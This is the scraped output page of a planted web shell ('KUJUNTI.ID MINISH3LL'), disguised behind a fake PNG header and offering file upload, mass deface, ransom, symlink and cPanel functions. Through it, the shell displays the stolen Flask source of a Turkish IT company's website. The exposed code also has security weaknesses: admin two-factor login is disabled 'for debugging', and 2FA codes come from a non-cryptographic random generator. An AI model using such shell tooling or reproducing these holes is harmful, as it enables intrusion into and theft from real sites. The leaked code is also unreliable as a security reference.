\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/ofisbulutta.com/OfisTeknoloji-20260522-yedek/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/ofisbulutta.com/OfisTeknoloji-20260522-yedek/routes.py


import os
from flask import render_template, flash, redirect, url_for, send_from_directory, session, request, make_response, jsonify
from flask_login import login_user, logout_user, login_required, current_user
from app import app, mail, db
from forms import ContactForm, LoginForm, BlogPostForm, ChangePasswordForm, TwoFactorSettingsForm, VerifyTwoFactorForm, EmailSettingsForm
from flask_mail import Message
from models import SERVICES, PRODUCTS, Contact, BlogPost, Admin, PageView
import requests
import logging
from datetime import datetime, timedelta
import random
import string
from werkzeug.utils import secure_filename
from user_agents import parse
from sqlalchemy import func, desc
from collections import defaultdict
import geoip2.database
from geoip2.errors import AddressNotFoundError

# Debug seviyesinde loglama ayarı
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

def get_asn(ip_address):
    try:
        if ip_address in ['127.0.0.1', 'localhost', '0.0.0.0']:
            return 'Local'

        # MaxMind GeoLite2 ASN veritabanı yolu
        db_path = os.path.join(os.path.dirname(__file__), 'GeoLite2-ASN.mmdb')

        if not os.path.exists(db_path):
            return 'Unknown'

        with geoip2.database.Reader(db_path) as reader:
            try:
                response = reader.asn(ip_address)
                return f"AS{response.autonomous_system_number} - {response.autonomous_system_organization}"
            except Exception:
                return 'Unknown'
    except Exception:
        return 'Unknown'

def get_country(ip_address):
    try:
        if ip_address in ['127.0.0.1', 'localhost', '0.0.0.0']:
            return 'Local'

        # MaxMind GeoLite2 veritabanı yolu
        db_path = os.path.join(os.path.dirname(__file__), 'GeoLite2-Country.mmdb')

        if not os.path.exists(db_path):
            return 'Unknown'

        with geoip2.database.Reader(db_path) as reader:
            try:
                response = reader.country(ip_address)
                return response.country.name or 'Unknown'
            except Exception:
                return 'Unknown'
    except Exception:
        return 'Unknown'

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def save_image(file):
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        # Add timestamp to filename to make it unique
        timestamp = datetime.now().strftime('%Y%m%d_%H%M%S_')
        filename = timestamp + filename

        # Create upload folder if it doesn't exist
        if not os.path.exists(UPLOAD_FOLDER):
            os.makedirs(UPLOAD_FOLDER)

        file_path = os.path.join(UPLOAD_FOLDER, filename)
        file.save(file_path)
        return filename
    return None

@app.route('/static/<path:filename>')
def serve_static(filename):
    return send_from_directory('static', filename)

@app.route('/robots.txt')
def serve_robots():
    return send_from_directory('static', 'robots.txt')

@app.route('/sitemap.xml')
def serve_sitemap():
    return send_from_directory('static', 'sitemap.xml')

@app.route('/attached_assets/<path:filename>')
def serve_asset(filename):
    return send_from_directory(UPLOAD_FOLDER, filename)

@app.route('/language/<language>')
def set_language(language):
    session['language'] = language
    return redirect(request.referrer or url_for('home'))

@app.route('/')
def home():
    logger.debug("Home route accessed")
    return render_template('home.html', services=SERVICES)

# Add alias for index to point to home
@app.route('/index')
def index():
    return redirect(url_for('home'))

@app.route('/about')
def about():
    return render_template('about.html')

@app.route('/services')
def services():
    return render_template('services.html', services=SERVICES)

@app.route('/services/<service_id>')
def service_detail(service_id):
    service = SERVICES.get(service_id)
    if service:
        return render_template('service_detail.html', service=service)
    return redirect(url_for('services'))

@app.route('/blog')
def blog():
    posts = BlogPost.query.filter_by(published=True).order_by(BlogPost.created_at.desc()).all()
    return render_template('blog.html', posts=posts)

@app.route('/blog/<slug>')
def blog_post(slug):
    post = BlogPost.query.filter_by(slug=slug, published=True).first_or_404()
    return render_template('blog_post.html', post=post)

@app.route('/contact', methods=['GET', 'POST'])
def contact():
    logger.debug("Contact route accessed")
    try:
        form = ContactForm()
        logger.debug(f"Form created: {form}")
        logger.debug(f"Form errors: {form.errors}")

        if form.validate_on_submit():
            logger.debug("Form validated successfully")
            # Verify reCAPTCHA
            recaptcha_response = request.form.get('g-recaptcha-response')
            if not recaptcha_response:
                return render_template('contact.html', form=form, recaptcha_error='Lütfen reCAPTCHA doğrulamasını tamamlayın.')

            verify_url = 'https://www.google.com/recaptcha/api/siteverify'
            verify_data = {
                'secret': os.environ.get('RECAPTCHA_PRIVATE_KEY'),
                'response': recaptcha_response
            }

            try:
                r = requests.post(verify_url, data=verify_data)
                result = r.json()

                if not result.get('success', False):
                    return render_template('contact.html', form=form, recaptcha_error='reCAPTCHA doğrulaması başarısız oldu.')

                # If reCAPTCHA verification passed, proceed with form submission
                contact = Contact(
                    name=form.name.data,
                    email=form.email.data,
                    subject=form.subject.data,
                    message=form.message.data
                )
                db.session.add(contact)
                db.session.commit()

                msg = Message(
                    subject=f"İletişim Formu: {form.subject.data}",
                    recipients=[app.config['MAIL_RECIPIENT']],
                    body=f"""
                    Gönderen: {form.name.data} <{form.email.data}>

                    {form.message.data}
                    """
                )
                mail.send(msg)
                flash('Mesajınız başarıyla gönderildi!', 'success')
                return redirect(url_for('contact'))

            except Exception as e:
                logger.error(f"Error in contact form submission: {str(e)}")
                db.session.rollback()
                flash('Mesajınız gönderilirken bir hata oluştu. Lütfen daha sonra tekrar deneyin.', 'error')

        logger.debug("Rendering contact template")
        return render_template('contact.html', form=form)
    except Exception as e:
        logger.error(f"Unexpected error in contact route: {str(e)}")
        return "İletişim formu yüklenirken bir hata oluştu.", 500

@app.route('/ob-zmail')
def ob_zmail():
    product = PRODUCTS.get('zimbra')
    if product:
        return render_template('product_detail.html', product=product)
    return redirect(url_for('home'))

@app.route('/ob-drive-office')
def ob_drive():
    product = PRODUCTS.get('drive')
    if product:
        return render_template('product_detail.html', product=product)
    return redirect(url_for('home'))

@app.route('/products')
def products():
    return redirect(url_for('ob_zmail'))

@app.route('/ofisbulutta-etrn')
def etrn():
    product = PRODUCTS.get('etrn')
    if product:
        return render_template('etrn.html', product=product)
    return redirect(url_for('home'))

@app.route('/ofisbulutta-santral')
def santral():
    product = PRODUCTS.get('santral')
    if product:
        return render_template('santral.html', product=product)
    return redirect(url_for('home'))

@app.route('/obspotter')
def obspotter():
    product = PRODUCTS.get('obspotter')
    if product:
        return render_template('obspotter.html', product=product)
    return redirect(url_for('home'))

@app.route('/obarchiver')
def obarchiver():
    product = PRODUCTS.get('obarchiver')
    if product:
        return render_template('product_detail.html', product=product)
    return redirect(url_for('home'))

# Yeni eklenen rota: fwaas
@app.route('/urunler/fwaas')
@app.route('/products/fwaas')
def fwaas():
    product = PRODUCTS.get('fwaas')
    if product:
        return render_template('fwaas.html', product=product)
    return redirect(url_for('home'))

@app.route('/postgresql-egitim-ve-danismanlik')
def postgresql_consulting():
    return render_template('postgresql_consulting.html')

@app.route('/mysql-danismanligi')
def mysql_consulting():
    return render_template('mysql_consulting.html')

@app.route('/zimbra-destek')
def zimbra_support():
    return render_template('zimbra_support.html')

@app.route('/mikrotik')
def mikrotik_consulting():
    return render_template('mikrotik_consulting.html')

@app.route('/jitsi-ve-dagitik-mimari')
def jitsi_consulting():
    return render_template('jitsi_consulting.html')

@app.route('/pardus')
def pardus_consulting():
    return render_template('pardus_consulting.html')

@app.route('/sistem-yonetimi-sysops')
def sysops_consulting():
    return render_template('sysops_consulting.html')

@app.route('/pfsense-destegi')
def pfsense_support():
    return render_template('pfsense_support.html')

@app.route('/kamailio')
def kamailio_consulting():
    return render_template('kamailio_consulting.html')

@app.errorhandler(404)
def not_found_error(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_error(error):
    db.session.rollback()  # Rollback any failed database transactions
    return render_template('500.html'), 500

@app.errorhandler(Exception)
def handle_exception(error):
    # Log the error for debugging
    app.logger.error(f"Unhandled exception: {str(error)}")
    # Return 500 error page
    return render_template('500.html'), 500


@app.route('/admin/login', methods=['GET', 'POST'])
def admin_login():
    logger.debug("Admin login route accessed")
    if current_user.is_authenticated:
        logger.debug("User already authenticated, redirecting to dashboard")
        return redirect(url_for('admin_dashboard'))

    form = LoginForm()
    if form.validate_on_submit():
        logger.debug("Login form submitted")
        user = Admin.query.filter_by(username=form.username.data).first()
        if user is None or not user.check_password(form.password.data):
            flash('Geçersiz kullanıcı adı veya şifre', 'danger')
            return redirect(url_for('admin_login'))

        # Temporarily disable 2FA for debugging
        login_user(user)
        flash('Giriş başarılı!', 'success')
        return redirect(url_for('admin_dashboard'))

    return render_template('admin/login.html', form=form)

@app.route('/admin/verify-2fa', methods=['GET', 'POST'])
def admin_verify_2fa():
    if current_user.is_authenticated:
        return redirect(url_for('admin_dashboard'))

    if 'admin_2fa_username' not in session:
        return redirect(url_for('admin_login'))

    form = VerifyTwoFactorForm()
    if form.validate_on_submit():
        user = Admin.query.filter_by(username=session['admin_2fa_username']).first()

        if not user:
            session.pop('admin_2fa_username', None)
            return redirect(url_for('admin_login'))

        if (user.two_factor_code == form.code.data and 
            (datetime.utcnow() - user.two_factor_timestamp).total_seconds() < 300):  # 5 minutes
            session.pop('admin_2fa_username', None)
            login_user(user)
            flash('Giriş başarılı!', 'success')
            return redirect(url_for('admin_dashboard'))
        else:
            flash('Geçersiz veya süresi dolmuş doğrulama kodu.', 'danger')

    return render_template('admin/verify_2fa.html', form=form)

@app.route('/admin/logout')
@login_required
def admin_logout():
    logger.debug("Admin logout route accessed")
    logout_user()
    flash('Başarıyla çıkış yapıldı.', 'success')
    return redirect(url_for('home'))

@app.route('/admin')
@login_required
def admin_dashboard():
    posts = BlogPost.query.order_by(BlogPost.created_at.desc()).all()
    return render_template('admin/dashboard.html', posts=posts, messages_count=Contact.query.count())

@app.route('/admin/post/new', methods=['GET', 'POST'])
@login_required
def admin_new_post():
    form = BlogPostForm()
    if form.validate_on_submit():
        # Handle image upload
        image_filename = None
        if form.image.data:
            image_filename = save_image(form.image.data)

        post = BlogPost(
            title=form.title.data,
            slug=form.slug.data,
            content=form.content.data,
            summary=form.summary.data,
            published=form.published.data,
            image_url=image_filename
        )
        db.session.add(post)
        db.session.commit()
        flash('Blog yazısı başarıyla oluşturuldu!', 'success')
        return redirect(url_for('admin_dashboard'))

    return render_template('admin/post_form.html', form=form, title='Yeni Blog Yazısı')

@app.route('/admin/post/<int:id>/edit', methods=['GET', 'POST'])
@login_required
def admin_edit_post(id):
    post = BlogPost.query.get_or_404(id)
    form = BlogPostForm(obj=post)

    if form.validate_on_submit():
        # Handle image upload
        if form.image.data:
            # Delete old image if exists
            if post.image_url:
                old_image_path = os.path.join(UPLOAD_FOLDER, post.image_url)
                if os.path.exists(old_image_path):
                    os.remove(old_image_path)

            # Save new image
            image_filename = save_image(form.image.data)
            if image_filename:
                post.image_url = image_filename

        post.title = form.title.data
        post.slug = form.slug.data
        post.content = form.content.data
        post.summary = form.summary.data
        post.published = form.published.data
        db.session.commit()
        flash('Blog yazısı başarıyla güncellendi!', 'success')
        return redirect(url_for('admin_dashboard'))

    return render_template('admin/post_form.html', form=form, post=post, title='Blog Yazısını Düzenle')

@app.route('/admin/post/<int:id>/delete', methods=['POST'])
@login_required
def admin_delete_post(id):
    post = BlogPost.query.get_or_404(id)
    db.session.delete(post)
    db.session.commit()
    flash('Blog yazısı başarıyla silindi!', 'success')
    return redirect(url_for('admin_dashboard'))

@app.route('/admin/settings', methods=['GET', 'POST'])
@login_required
def admin_settings():
    password_form = ChangePasswordForm()
    email_form = EmailSettingsForm()
    if current_user.email:
        email_form.email.data = current_user.email
    return render_template('admin/settings.html', 
                         password_form=password_form,
                         email_form=email_form)

@app.route('/admin/change-password', methods=['POST'])
@login_required
def admin_change_password():
    form = ChangePasswordForm()
    if form.validate_on_submit():
        if current_user.check_password(form.current_password.data):
            current_user.set_password(form.new_password.data)
            db.session.commit()
            flash('Şifreniz başarıyla güncellendi.', 'success')
        else:
            flash('Mevcut şifreniz yanlış.', 'danger')
    return redirect(url_for('admin_settings'))

@app.route('/admin/email-settings', methods=['POST'])
@login_required
def admin_email_settings():
    if request.method == 'POST':
        new_email = request.form.get('email')
        if new_email:
            current_user.email = new_email
            db.session.commit()
            flash('E-posta adresi başarıyla güncellendi.', 'success')
        else:
            flash('Geçerli bir e-posta adresi giriniz.', 'danger')
    return redirect(url_for('admin_settings'))

def generate_2fa_code():
    """Generate a random 6-digit code"""
    return ''.join(random.choices(string.digits, k=6))

def send_2fa_code(email, code):
    """Send 2FA code via email"""
    try:
        logger.debug(f"Attempting to send 2FA code to {email}")
        msg = Message('İki Faktörlü Doğrulama Kodu',
                     sender=app.config['MAIL_DEFAULT_SENDER'],
                     recipients=[email])
        msg.body = f'''
        İki faktörlü doğrulama kodunuz: {code}

        Bu kod 5 dakika süreyle geçerlidir.
        Eğer giriş yapmaya çalışmıyorsanız, lütfen bu e-postayı dikkate almayın.
        '''
        mail.send(msg)
        logger.debug("2FA code email sent successfully")
        return True
    except Exception as e:
        logger.error(f"Failed to send 2FA code email: {str(e)}")
        raise Exception("E-posta gönderirken bir hata oluştu") from e

@app.route('/admin/2fa-settings', methods=['POST'])
@login_required
def admin_2fa_settings():
    form = TwoFactorSettingsForm()
    if form.validate_on_submit():
        current_user.email = form.email.data
        current_user.two_factor_enabled = form.enable_2fa.data

        if form.enable_2fa.data:
            code = generate_2fa_code()
            current_user.two_factor_code = code
            current_user.two_factor_timestamp = datetime.utcnow()
            try:
                send_2fa_code(form.email.data, code)
                flash('Doğrulama kodu e-posta adresinize gönderildi.', 'success')
            except Exception as e:
                logger.error(f"Error sending 2FA code: {str(e)}")
                flash('Doğrulama kodu gönderilirken bir hata oluştu.', 'danger')
                return redirect(url_for('admin_settings'))

        db.session.commit()
        flash('İki faktörlü doğrulama ayarları güncellendi.', 'success')

        if form.enable_2fa.data:
            return redirect(url_for('admin_verify_2fa'))

    return redirect(url_for('admin_settings'))

@app.route('/admin/messages')
@login_required
def admin_messages():
    messages = Contact.query.order_by(Contact.created_at.desc()).all()
    return render_template('admin/messages.html', messages=messages)

@app.route('/admin/messages/<int:id>/delete', methods=['POST'])
@login_required
def admin_delete_message(id):
    message = Contact.query.get_or_404(id)
    db.session.delete(message)
    db.session.commit()
    flash('Mesaj başarıyla silindi!', 'success')
    return redirect(url_for('admin_messages'))

def track_pageview():
    if not request.path.startswith(('/static/', '/admin/', '/attached_assets/')):
        pageview = PageView(
            url=request.path,
            ip_address=request.remote_addr,
            user_agent=request.user_agent.string,
            session_id=session.get('_id'),
            referrer=request.referrer,
            event_type='pageview',
            event_data={
                'method': request.method,
                'query_string': request.query_string.decode('utf-8') if request.query_string else None
            }
        )
        db.session.add(pageview)
        db.session.commit()

@app.before_request
def before_request():
    track_pageview()

@app.route('/admin/analytics')
@login_required
def admin_analytics():
    # Son 30 günlük istatistikler
    thirty_days_ago = datetime.utcnow() - timedelta(days=30)

    # Toplam ziyaret ve tekil ziyaretçi sayısı
    total_views = PageView.query.filter(PageView.timestamp >= thirty_days_ago).count()
    unique_visitors = db.session.query(PageView.ip_address).distinct().filter(
        PageView.timestamp >= thirty_days_ago
    ).count()

    # En çok ziyaret edilen sayfalar
    popular_pages = db.session.query(
        PageView.url,
        func.count(PageView.id).label('views')
    ).filter(
        PageView.timestamp >= thirty_days_ago
    ).group_by(
        PageView.url
    ).order_by(
        desc('views')
    ).limit(10).all()

    # Tarayıcı ve işletim sistemi istatistikleri
    browser_stats = defaultdict(int)
    os_stats = defaultdict(int)
    recent_visitors = PageView.query.filter(
        PageView.timestamp >= thirty_days_ago
    ).order_by(PageView.timestamp.desc()).limit(100)

    for visit in recent_visitors:
        user_agent = parse(visit.user_agent)
        browser_stats[user_agent.browser.family] += 1
        os_stats[user_agent.os.family] += 1

    # Son ziyaretçiler
    latest_visits = PageView.query.order_by(
        PageView.timestamp.desc()
    ).limit(20).all()

    # Ziyaretçi bilgilerini hazırla
    visitor_details = []
    for visit in latest_visits:
        user_agent = parse(visit.user_agent)
        visitor_details.append({
            'timestamp': visit.timestamp,
            'ip_address': visit.ip_address,
            'country': get_country(visit.ip_address),
            'asn': get_asn(visit.ip_address),
            'browser': user_agent.browser.family,
            'os': user_agent.os.family,
            'url': visit.url
        })

    return render_template(
        'admin/analytics.html',
        total_views=total_views,
        unique_visitors=unique_visitors,
        popular_pages=popular_pages,
        browser_stats=dict(browser_stats),
        os_stats=dict(os_stats),
        latest_visits=visitor_details
    )

def get_location(ip_address):
    """Get latitude and longitude for an IP address using GeoLite2-City database"""
    try:
        if ip_address in ['127.0.0.1', 'localhost', '0.0.0.0']:
            return None

        # MaxMind GeoLite2 City veritabanı yolu
        db_path = os.path.join(os.path.dirname(__file__), 'GeoLite2-City.mmdb')

        if not os.path.exists(db_path):
            return None

        with geoip2.database.Reader(db_path) as reader:
            try:
                response = reader.city(ip_address)
                return {
                    'lat': response.location.latitude,
                    'lon': response.location.longitude,
                    'city': response.city.name,
                    'intensity': 1  # Her konum için başlangıç yoğunluğu
                }
            except AddressNotFoundError:
                return None # Handle AddressNotFoundError specifically
            except Exception as e:
                logger.error(f"Error getting location for IP {ip_address}: {str(e)}")
                return None
    except Exception as e:
        logger.error(f"Error in get_location: {str(e)}")
        return None

@app.route('/admin/visitor-locations')
@login_required
def visitor_locations():
    try:
        # Son 30 günlük ziyaretçilerin konumlarını al
        thirty_days_ago = datetime.utcnow() - timedelta(days=30)
        visitors = PageView.query.filter(
            PageView.timestamp >= thirty_days_ago
        ).with_entities(PageView.ip_address).distinct().all()

        locations = []
        for visitor in visitors:
            location = get_location(visitor.ip_address)
            if location:
                # Heatmap için [lat, lon, intensity] formatında veri
                locations.append([
                    location['lat'],
                    location['lon'],
                    location['intensity']
                ])

        return jsonify(locations)
    except Exception as e:
        logger.error(f"Error in visitor_locations: {str(e)}")
        return jsonify([])

@app.route('/admin/session-timeline')
@login_required
def session_timeline():
    try:
        # Get date range from query parameters
        start_date = request.args.get('start_date')
        end_date = request.args.get('end_date')

        # Convert string dates to datetime objects
        if start_date and end_date:
            start_date = datetime.strptime(start_date, '%Y-%m-%d')
            end_date = datetime.strptime(end_date, '%Y-%m-%d') + timedelta(days=1)  # Include the entire end day
        else:
            # Default to last 30 days if no dates provided
            end_date = datetime.utcnow()
            start_date = end_date - timedelta(days=30)

        # Get session ID from query parameter
        session_id = request.args.get('session_id')

        # If no session ID provided, get the most recent session
        if not session_id:
            latest_view = PageView.query.order_by(PageView.timestamp.desc()).first()
            if latest_view:
                session_id = latest_view.session_id

        # Get all events for this session within the date range
        query = PageView.query.filter(
            PageView.timestamp >= start_date,
            PageView.timestamp <= end_date
        )

        if session_id:
            query = query.filter_by(session_id=session_id)

        events = query.order_by(PageView.timestamp).all()

        timeline_data = []
        for event in events:
            user_agent = parse(event.user_agent)
            timeline_data.append({
                'timestamp': event.timestamp.isoformat(),
                'url': event.url,
                'event_type': event.event_type,
                'browser': user_agent.browser.family,
                'os': user_agent.os.family,
                'referrer': event.referrer,
                'event_data': event.event_data
            })

        return jsonify({
            'session_id': session_id,
            'events': timeline_data
        })
    except Exception as e:
        logger.error(f"Error in session_timeline: {str(e)}")
        return jsonify({'error': str(e)}), 500

UPLOAD_FOLDER = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'attached_assets')


© KUJUNTI.ID